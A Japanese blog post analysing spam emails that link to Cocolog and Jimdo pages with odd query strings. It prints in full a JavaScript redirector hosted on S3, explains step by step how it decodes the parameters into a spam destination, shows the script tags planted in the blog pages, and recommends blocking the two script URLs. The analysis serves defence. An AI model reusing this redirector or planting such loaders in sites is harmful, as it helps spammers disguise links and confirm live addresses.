正規っぽいアドレスに謎のパラメータが付いている迷惑メールを調べてみた

# 初めに

本記事は技術的な調査を行った結果を記載しています。
標的とされたサイト自体に脆弱性があるのではなく、各サイトの機能を悪用しているものと認識しています。
なお、被害防止のため、一部URLには加工を入れています[^1]。

[^1]: `example.com`は、RFC2606で定められている例示用ドメインの1つです。

# 更新履歴

* 2022年5月1日
  * 初版を「最近来ることがある「ココログのアドレスが入っている迷惑メール」を調べてみた」というタイトルで公開
* 2022年5月6日
  * Jimdoでの事例を確認したため、タイトルを「正規っぽいアドレスに謎のパラメータが付いている迷惑メールを調べてみた」に変更
  * 上記に関連して表記を修正

# 今回の調査対象メール

> From:	vmhf7ip <mailmaster@example.xyz>
> 件名:	★message★補佐担当様⇒VIPゲスト様へ新しいメッセージが届きました。
> 
> 新着メールが届いております♪
> https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp
> 
> 
> 配信停止ご希望はこちら
> https://hogepiyo.cocolog-nifty.com/blog/?hevc7r8ftnsa56b0klu+a0o5xof+example+dFI8iZMDZe%2Fjv4
> 
> 
> 配信停止
> https://docs.google.com/forms/d/e/1FAIpQLSceE_YDjF9xQfYBONdLYMyehT8ydi7_2RN34gBAJLH6Otr-ug/viewform?usp=pp_url&entry.66906085=hogepiyo&entry.1199342065=hogepiyo@example.com
> 
> 
> 
> 
> 東京オリンピック開催まであと20日余、国民はアスリートと健康の象徴を夢見れるか、、
> 2022年新成人に関する調査～政治への期待が8年ぶりに回復。海外への関心は軒並み低迷～／マクロミル調べ（ニュースレター）株式会社マクロミル（本社：東京都港区、代表執行役社長グローバルCEO：佐々木徹）は、データでひも解く最新トレンド情報をニュースレターとしてお届けしています。1月5日配信号のテーマは、「2022年新成人に関する調査」。当調査は2008年から開始し、今回で15年目の定点調査です。今年成人式を迎える500名にきいた夢や関心事、就職や世の中の潮流に対する考え、SNSやデジタル機

このメールの特徴として、

* 正規っぽいサイトのアドレスが記載されている
  * 作りたてで中身がほぼない場合がほとんど
* 配信停止フォームへのリンクがなぜか2つあり、そのうち1つはGoogleフォーム
  * これらの記載がない場合もあります
* どこかのネット記事の引用が含まれている

という点が挙げられます。

# サイトをチェックしてみる

上記アドレスを調査してみました。
その際には、謎のクエリストリング（?の後ろ）を消してアクセスしています。なぜかというと、そこに「メールアドレスを特定する文字列」が含まれている可能性があるためです。

その結果、怪しいコードにたどり着きました。
https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js です。

<details><summary>boost_v2.0.jsのコード</summary>

```boost_v2.0.js
var access_url = location.search;
if(access_url == ""){
  access_url = location.hash;
}
var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];
domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
  domain_id = domain_no_1+domain_no_2;
}else{
  domain_id = domain_no_1;
}
switch (domain_id){
 case '1':
  top_domain='com';
  break;
 case '2':
  top_domain='net';
  break;
 case '3':
  top_domain='jp';
  break;
 case '4':
  top_domain='work';
  break;
 case '5':
  top_domain='xyz';
  break;
 case '6':
  top_domain='space';
  break;
 case '7':
  top_domain='site';
  break;
 case '8':
  top_domain='fit';
  break;
 case '9':
  top_domain='fun';
  break;
 case '10':
  top_domain='icu';
  break;
 case '11':
  top_domain='monster';
  break;
 case '12':
  top_domain='online';
  break;
 case '13':
  top_domain='website';
  break;
 case '14':
  top_domain='buzz';
  break;
 case '15':
  top_domain='club';
  break;
 case '16':
  top_domain='cyou';
  break;
 case '17':
  top_domain='pw';
  break;
 case '18':
  top_domain='email';
  break;
 case '19':
  top_domain='life';
  break;
 case '20':
  top_domain='biz';
  break;
 default:
  top_domain='error';
}
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);
var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
if (top_domain !='error') {
  location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}
```

</details>

このコードをこれから読み込んでみます。
URLは一番上の `https://hogepiyo.cocolog-nifty.com/blog/?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp` を使ってみます。

# コードを読み込む

## クエリストリングを取得する

まずはこの部分を見てみます。

```javascript
var access_url = location.search;
if(access_url == ""){
  access_url = location.hash;
}
```

まずは、クエリストリング（?の後ろ、?を含む）を取得して、それがない場合は、フラグメント識別子（#の後ろ、#を含む）を取得しています。
ここで、 `access_url` は `?8u2qd9kit3go6l7za0ey+7uj5wgq+example+Xy%2Fhogehoge%2Fnp` となります。

## クエリストリングを分割していく

```javascript
var tmp_url = access_url.replace(/[0-9a-z]/gi, '');
var split_key = tmp_url.charAt(1);
var split_url = access_url.split(split_key);
split_url_00 = split_url[0];
split_url_01 = split_url[1];
split_url_02 = split_url[2];
split_url_03 = split_url[3];
split_url_04 = split_url[4];
split_url_05 = split_url[5];
split_url_06 = split_url[6];
split_url_07 = split_url[7];
split_url_08 = split_url[8];
```

最初の行で、クエリストリングの英子文字と数字を除いた文字列を得ています。
今回の場合は、 `tmp_url = '?+++%%'` となります。

続いて、クエリストリングの分割に使用するキーを取得しています。
2行目になりますが、 `charAt` 関数で「2文字目」を取得しています。
この関数に渡すのは、「先頭文字を0とした、取得したい文字の位置」なので、「1」を指定すると「2文字目」を取得する動作となります。
つまりここで、 `split_key = '+'` となります。

そして3行目で実際に分割を実施し、4行目以降で変数に分割結果を代入しています。
ここで設定された変数は下記の通りです。

| 変数名 | 値 |
|---|---|
| tmp_url | ?+++%% |
| split_key | + |
| split_url_00 | 8u2qd9kit3go6l7za0ey |
| split_url_01 | 7uj5wgq |
| split_url_02 | example |
| split_url_03 | Xy%2Fhogehoge%2Fnp |

## TLDを決定する

```javascript
domain_no_1 = split_url_01.charAt(3);
domain_no_2 = split_url_01.charAt(4);
if(!isNaN(domain_no_2)){
  domain_id = domain_no_1+domain_no_2;
}else{
  domain_id = domain_no_1;
}
// これ以降は後述します
```

引き続き、 `charAt` で文字を取得します。

| 変数名 | 値 |
|---|---|
| domain_no_1 | 5 |
| domain_no_2 | w |

`domain_no_2` は数値として認識できない文字列のため、 `isNaN(domain_no_2)` は `true` を返します。
（`isNaN`関数は、渡されたのが数値として判断できない場合は`true`を返します）

故に、 `domain_id = '5'` となります。

後半のコードですが、`case`ステートメントでTLDを決定しています。
該当部分だけ抜き出すと…

```javascript
switch (domain_id){
 case '5':
  top_domain='xyz';
  break;
 default:
  top_domain='error';
}
```

となり、 `top_domain = 'xyz'` となります。

## URLをデコードする

```javascript
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_02 = split_url_02.replace("%23", ".");
split_url_03 = decodeURIComponent(split_url_03);
split_url_04 = decodeURIComponent(split_url_04);
split_url_05 = decodeURIComponent(split_url_05);
split_url_06 = decodeURIComponent(split_url_06);
split_url_07 = decodeURIComponent(split_url_07);
split_url_08 = decodeURIComponent(split_url_08);
```

最初の3行では `split_url_02` に対して処理をしています。
今、`split_url_02 = 'example'`なので、この3行ではこの変数に関しては変化なしです。

4行目以降は `decodeURIComponent` を使ってURLをデコードしています。

| 変数名 | 処理前の値 | 処理後の値 |
|---|---|---|
| split_url_03 | Xy%2Fhogehoge%2Fnp | Xy/hogehoge/np |

## URLを組み立てて遷移させる

```javascript
var sub_url = "";
if(split_url_03 !="undefined") sub_url += "/"+split_url_03;
if(split_url_04 !="undefined") sub_url += "/"+split_url_04;
if(split_url_05 !="undefined") sub_url += "/"+split_url_05;
if(split_url_06 !="undefined") sub_url += "/"+split_url_06;
if(split_url_07 !="undefined") sub_url += "/"+split_url_07;
if(split_url_08 !="undefined") sub_url += "/"+split_url_08;
// これ以降は後述します
```

まずは`sub_url`を組み立てていきます。
今回は`split_url_03`しかありませんので、`sub_url = "/Xy/hogehoge/np"`となります。

```javascript
if (top_domain !='error') {
  location.href = "http://"+split_url_02+"."+top_domain+sub_url;
}
```

最後にURLを組み立てます。
関係する変数はこんな感じになっています。

| 変数名 | 値 |
|---|---|
| split_url_02 | example |
| top_domain | xyz |
| sub_url | /Xy/hogehoge/np |

組み立てたURLは `http://example.xyz/Xy/hogehoge/np` となり、このアドレスに遷移させて（`location.href`をセットする）このスクリプトの処理が完了します。

# 対策

まずは基本的な部分から言いますと、「不審なメールのURLにはゼッタイにアクセスしない」というのが鉄則です。
「配信停止」のリンクに惑わされてはいけません。そのURLに「メールアドレスを識別するための文字列」が含まれているかもしれないからです。
例えば、メールアドレスに対して次の符号を割り当てたとします。

| メールアドレス | 符号 |
|---|---|
| hoge1@example.com | nweitgbweoobgi |
| hoge2@example.com | newugoewgewogw |

ここで、 `hoge1@example.com` 宛に、URL `http://example.com/nweitgbweoobgi` を含むメールを送信します。
そして、`hoge1@example.com`がこのURLへアクセスした場合、符号`nweitgbweoobgi`から、

* `hoge1@example.com`に宛てて送信したメールのアドレスへのアクセスがあった
* 故に`hoge1@example.com`にメールが送信された

ということがわかります。
つまり、「このメールアドレスは有効だ」というのを通知してしまうことになり、配信が停止されるどころかさらにメールが届く可能性もあります。

後は、攻撃の実例を収集して分析するのも大事です。
今回の分析で、「サイトに不正なコードを仕込んで、特定のURLでのアクセスがあった場合に遷移させる」手法がとられていることが判明しました。
仕込まれていた不正なコードは下記の通りです。

```html:ココログの例
	<script type="text/javascript">																																		
var script = document.createElement('script');																																		
script.type = 'text/javascript';																																		
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js?p="+(new Date());																																		
var element = document.head;																																		
element.appendChild(script);																																		
</script>																																		
<script type="text/javascript">																																		
var script = document.createElement('script');																																		
script.type = 'text/javascript';																																		
script.src = "https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js?p="+(new Date());																																		
var element = document.head;																																		
element.appendChild(script);																																		
</script>																																		
```

```html:Jimdoの例
<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js"></script>

<script type="text/javascript" src="https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js"></script>
```

つまり、任意のコンテンツブロッカーで、次の2つのURLへのアクセスをブロックしてしまえば、今回の事例ではノーダメージとなります。

* https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v2.0.js
* https://s3-ap-northeast-1.amazonaws.com/public.release/javascript/boost_v1.0.js

今回は `boost_v2.0.js` に絞って分析してきましたが、 `boost_v1.0.js` も、クエリストリングを見て遷移させるコードでした。
両方のブロックで被害を食い止められるのではないかと思います。